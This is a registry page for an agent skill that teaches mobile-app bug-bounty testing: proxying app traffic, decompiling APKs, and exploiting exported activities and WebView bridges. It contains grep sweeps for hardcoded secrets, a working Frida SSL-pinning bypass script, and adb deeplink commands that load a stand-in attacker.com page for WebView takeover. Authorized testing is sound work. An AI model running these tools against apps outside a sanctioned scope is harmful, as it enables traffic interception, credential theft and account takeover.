shuvonsec/claude-bug-bounty/mobile-pentest

Claude Code and agent skill by shuvonsec/claude-bug-bounty

Trust tier 2
  • community
LLM review pending
Source check pending

Checking that the SKILL.md file is still in the repository.

Mobile app pentest for bug bounty (Android APK + iOS IPA) — runtime-first workflow: install app, proxy through Burp/mitmproxy, drive the UI, capture packets, then test the API exactly like a web target; escalate to decompile (apktool/jadx) and Frida/objection only when traffic is SSL-pinned, encrypted, or absent. Covers APK/IPA decompile for hardcoded secrets + hidden API endpoints + base URLs the web app never exposes, exported-activity and deeplink intent injection, WebView addJavascriptInterface bridge abuse, SSL pinning bypass (objection patchapk / Frida CertificatePinner + checkServerTrusted hooks), OkHttp interceptor chain to recover request signing, JNI native-lib triage, and the quick apktool/grep secret + endpoint sweep. Use when the program scope includes a mobile app, when web recon dries up and you need a fresh attack surface, or when traffic is pinned and you must MitM it.

Install

npx vskill@latest install shuvonsec/claude-bug-bounty/mobile-pentest

SKILL.md

MOBILE APP PENTEST (ANDROID / iOS)

Mobile apps talk to the same backend as the web app — but they ship a different, less-hunted attack surface: base URLs, API endpoints, header schemes, and hardcoded secrets that web recon never sees. Most hunters skip mobile. That's the edge.

The whole point: the APK/IPA is a copy of the client. Decompile it once and you get every endpoint the web JS never references, every staging/internal base URL, and often a live API key sitting in strings.xml. Then you attack the backend like any web target.

RUNTIME-FIRST — THE ONE RULE THAT MATTERS

Do NOT start by decompiling. Decompiling first burns hours recovering crypto you may never need. Default order:

1. Install the app on a device/emulator (in scope confirmed via /scope)
2. Point it at Burp / mitmproxy
3. Drive the real business flows by hand (login, pay, edit profile, share)
4. After each action, check the proxy: are requests visible and replayable?
5. Traffic visible + replayable → STOP. Test the API like a web target.
6. Traffic pinned / encrypted / absent → THEN escalate to apktool/jadx/Frida.

Most of your paid mobile bugs (IDOR, auth bypass, business logic) come from step 5 — plain HTTP traffic you replay in Burp. Reversing (apktool/jadx/Frida) is a support step to get traffic flowing or to recover a request signer, not the goal.

If Burp already has a stable, replayable request, you are done reversing. Switch to server-side testing.

0. SCOPE CHECK FIRST

Mobile has its own scope traps. Before touching the binary:

  • Is the app itself in scope, or only the web domains? Many programs list the app package (com.target.app) explicitly. If only *.target.com is listed, the API endpoints the app calls are usually in scope — but the app binary analysis may not be. Run /scope.
  • Third-party SDKs (analytics, ads, crash reporters) bundled in the APK are out of scope — they belong to Firebase/Sentry/AppsFlyer, not the target.
  • Don't report "app is debuggable" / "no root detection" / "no obfuscation" — these are N/A on almost every program (no real-world attacker impact). See the Never-Submit list below.

1. SETUP (one-time)

bash
# Android device/emulator over adb
adb devices
adb install target.apk # or pull a live install: adb shell pm path com.target.app
# Proxy — route device traffic through Burp or mitmproxy
# Android: Settings > Wi-Fi > proxy = <laptop-ip>:8080, install Burp CA as a *system* cert
# (user certs are ignored by apps targeting API 24+ — push to /system/etc/security/cacerts on a rooted device,
# or use objection patchapk to inject a network_security_config that trusts user certs)
mitmproxy --listen-port 8080 # CLI alternative to Burp; mitmweb for a UI
# Reversing toolchain
apktool d target.apk -o target_src # smali + resources + manifest (recompilable)
jadx-gui target.apk # DEX -> readable Java (best for reading logic)
jadx -d target_jadx target.apk # CLI batch decompile
# Runtime instrumentation
pip install frida-tools objection
# Pin a compatible gadget version — Frida 17 broke older flows; 16.7.x is the stable bug-bounty pick (2025)
frida --version

iOS needs a jailbroken device (Apple ships no emulator that defeats pinning). Same flow: install IPA, proxy, drive UI, escalate to frida/objection only if pinned.


2. STATIC SWEEP — SECRETS + ENDPOINTS WEB RECON MISSES 🔑

This is the highest-ROI 5 minutes in mobile hunting. Decompile, then grep. The quick check (no rooted device needed):

bash
apktool d target.apk -o target_src
# Hardcoded secrets — strings.xml is where lazy devs stash keys
grep -rn "api_key\|secret\|password\|token\|Authorization\|Bearer\|client_secret\|private_key" \
target_src/ --include="*.smali" --include="*.xml"
# Base URLs + endpoints — the gold. Strip framework noise:
grep -rn "https://" target_src/ | grep -v "schema\|xmlns\|android\|google\|w3.org\|apache" | sort -u | head -80
# Firebase / cloud creds frequently shipped in resources
grep -rniE "firebaseio\.com|amazonaws\.com|s3\.|googleapis|cloudfront|\.blob\.core" target_src/
# Use jadx output (Java) for readability when smali is unreadable
jadx -d target_jadx target.apk
grep -rnE "https?://[a-z0-9.-]+" target_jadx/sources/ | grep -viE "android|google|w3\.org" | sort -u

Automate it with apkleaks (regex pack for URIs + secrets) when installed:

bash
apkleaks -f target.apk -o target_apkleaks.txt # endpoints + secret patterns in one pass

What to do with each hit (impact-first — this is what makes it submittable vs N/A):

Found in APKAction — prove real impact RIGHT NOW
internal-api.target.com / staging.target.com base URL not in web reconhttpx it, crawl it, /recon it — fresh surface, often weak auth
Live API key (Google Maps, AWS, Algolia, Mapbox, SendGrid)Call the API as the key. Unkeyed billing = $$. See Credential Leaks rule — a key alone is Informational; proven access is Medium/High
Endpoint the web app never calls (/api/internal/, /admin/, /debug/)Hit it from Burp with your session token — admin/IDOR candidate
Hardcoded backend password / basic-auth headerVerify it authenticates against the live host
Mobile is the single best place to find non-public base URLs. The web JS bundle only references prod; the app frequently hardcodes staging, internal, and partner APIs. Each one is a new /recon target.

3. NETWORK-LAYER TESTING — TREAT IT LIKE A WEB TARGET 📡

Once traffic is in Burp, mobile API testing is web API testing. The loop:

baseline capture -> stable replay -> small mutation -> compare response + side effect -> expand by bug class
  1. Capture one clean baseline request, replay it unchanged to prove it's stable.
  2. Mutate the smallest safe field first (never many fields at once — if it's signed/stateful, multi-field changes hide the real blocker).
  3. Compare status, body, timing, and server state. Note: accepted / normalized / rejected / blocked-by-signer.

What to hit first (full payloads + bypass tables live in the web2-vuln-classes and security-arsenal skills):

  • Auth / session — strip or swap the bearer token, device-id, and tenant/user-id; replay across two accounts. Mobile apps love X-User-Id / deviceId headers that the server trusts → horizontal IDOR.
  • Business logic — change object IDs, amounts, prices, coupon state; skip workflow steps; replay payment requests (race / double-spend). Follow the money.
  • Injection — fields reaching search, filter, file metadata, XML, or server-side fetch. SSRF/SSTI/SQLi same as web.
  • GraphQL / WebSocket — introspection, field overreach, channel auth, stale-token reuse.
Mobile API endpoints are frequently older and less-reviewed than the web equivalents — the same dev shipped a stricter web gateway but the app hits a legacy /v1/ route directly. Always diff the app's endpoints against the web app's.

4. SSL PINNING BYPASS — WHEN TRAFFIC IS BLANK 🔓

If the proxy shows no app traffic (only OS/other-app traffic), the app is pinning. Pinning bypass is a support step to get back to network-layer testing — not a finding by itself.

Fastest path — objection (works against most stock implementations):

bash
# Repackage the APK with a Frida gadget + pinning-bypass hooks baked in (no root needed)
objection patchapk -s target.apk --ignore-nativelibs --gadget-version 16.7.19
adb install target.objection.apk
objection -g com.target.app explore
# then inside the objection REPL:
android sslpinning disable # hooks OkHttp CertificatePinner, TrustManager, etc.
# iOS equivalent (jailbroken): ios sslpinning disable

When objection fails (custom pinning / obfuscation) — targeted Frida hook:

javascript
// pin-bypass.js — hook the two canonical Android pinning chokepoints
Java.perform(function () {
// 1. OkHttp CertificatePinner.check() -> make it a no-op
try {
var CertPinner = Java.use('okhttp3.CertificatePinner');
CertPinner.check.overload('java.lang.String', 'java.util.List').implementation = function () {
console.log('[+] OkHttp CertificatePinner.check() bypassed: ' + arguments[0]);
return; // SECURE app would throw SSLPeerUnverifiedException here
};
} catch (e) {}
// 2. Custom X509TrustManager.checkServerTrusted() -> accept everything
var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
TrustManagerImpl.checkTrustedRecursive.implementation = function () {
console.log('[+] checkServerTrusted bypassed');
return Java.use('java.util.ArrayList').$new();
};
});
bash
frida -U -f com.target.app -l pin-bypass.js # spawn + inject
# or use the well-known universal codeshare script:
frida -U -f com.target.app --codeshare akabe1/frida-multiple-unpinning

After bypass, traffic flows into Burp → go back to the Network-Layer loop. You don't report the pinning — you report whatever the now-visible traffic lets you exploit.


5. EXPORTED ACTIVITIES + DEEPLINK INJECTION 📲

AndroidManifest.xml is a free attack-surface map. Any component with exported="true" (or an intent-filter, which makes it exported by default) can be launched by any other app on the device — or a malicious web page.

bash
# Pull the manifest and list every exported component + deeplink scheme
apktool d target.apk -o target_src
grep -nE "exported=\"true\"|<activity|<receiver|<service|android:scheme=|category android:name=\"android.intent.category.BROWSABLE\"" \
target_src/AndroidManifest.xml

The dangerous combo (the single most common paid mobile bug pattern):

exported="true" + BROWSABLE category + custom scheme + no parameter validation

That means a one-click <a href="targetapp://..."> from any web page reaches an internal component. Test from adb first, then weaponize via a hosted HTML link:

bash
# Launch an exported activity directly with attacker-controlled extras
adb shell am start -n com.target.app/.feature.UriActivity -d "targetapp://open?url=https://attacker.com"
# Probe a deeplink handler for open-redirect / WebView takeover
adb shell am start -W -a android.intent.action.VIEW \
-d "targetapp://webview?url=https://attacker.com/poc.html" com.target.app

Impact ladder (what makes it submittable):

  • Deeplink param flows into a WebView `loadUrl()` → attacker controls the page rendered inside the authenticated app → token theft / phishing in a trusted context. This is the KuCoin-style `UriActivity` pattern — a public-program report where an exported activity opened an arbitrary URL in the app's WebView.
  • Deeplink reaches a non-exported internal component via intent redirection (startActivity(getIntent().getParcelableExtra("forward"))) → access screens meant to be internal-only.
  • Deeplink sets an auth token / deep-links into a logged-in flow → account takeover if the URL is attacker-supplied (per Oversecured's disclosed deeplink→ATO chain).
Web javascript: and intent:// URIs in a browser can fire these deeplinks with one click. That browser→app pivot is what turns a "theoretical" exported component into a real, submittable one-click exploit.

6. WEBVIEW addJavascriptInterface BRIDGE 🌉

A WebView that calls addJavascriptInterface(obj, "name") exposes that Java object's @JavascriptInterface methods to any JS running in the WebView. If you also control the URL the WebView loads (via the deeplink bug above, an open redirect, or a file:///MitM page), the JS bridge is your foothold.

bash
# Find the bridge + how the WebView is configured
grep -rnE "addJavascriptInterface|setJavaScriptEnabled|loadUrl|@JavascriptInterface|setAllowFileAccess|setAllowUniversalAccessFromFileURLs" \
target_jadx/sources/

What to look for and prove:

This is the start of the file. Read the full SKILL.md on GitHub.

Security

  • Security scanPassed, 100 of 100Pattern checks on the skill's files.
  • Model reviewNot runA model review is scheduled for the next rescan.

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

Popularity

Repository stars
4,237
Repository forks
768
7-day trend score
42

Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/shuvonsec/claude-bug-bounty/mobile-pentest/badge)](https://verified-skill.com/skills/shuvonsec/claude-bug-bounty/mobile-pentest)

Something wrong with this skill or its page? Tell us.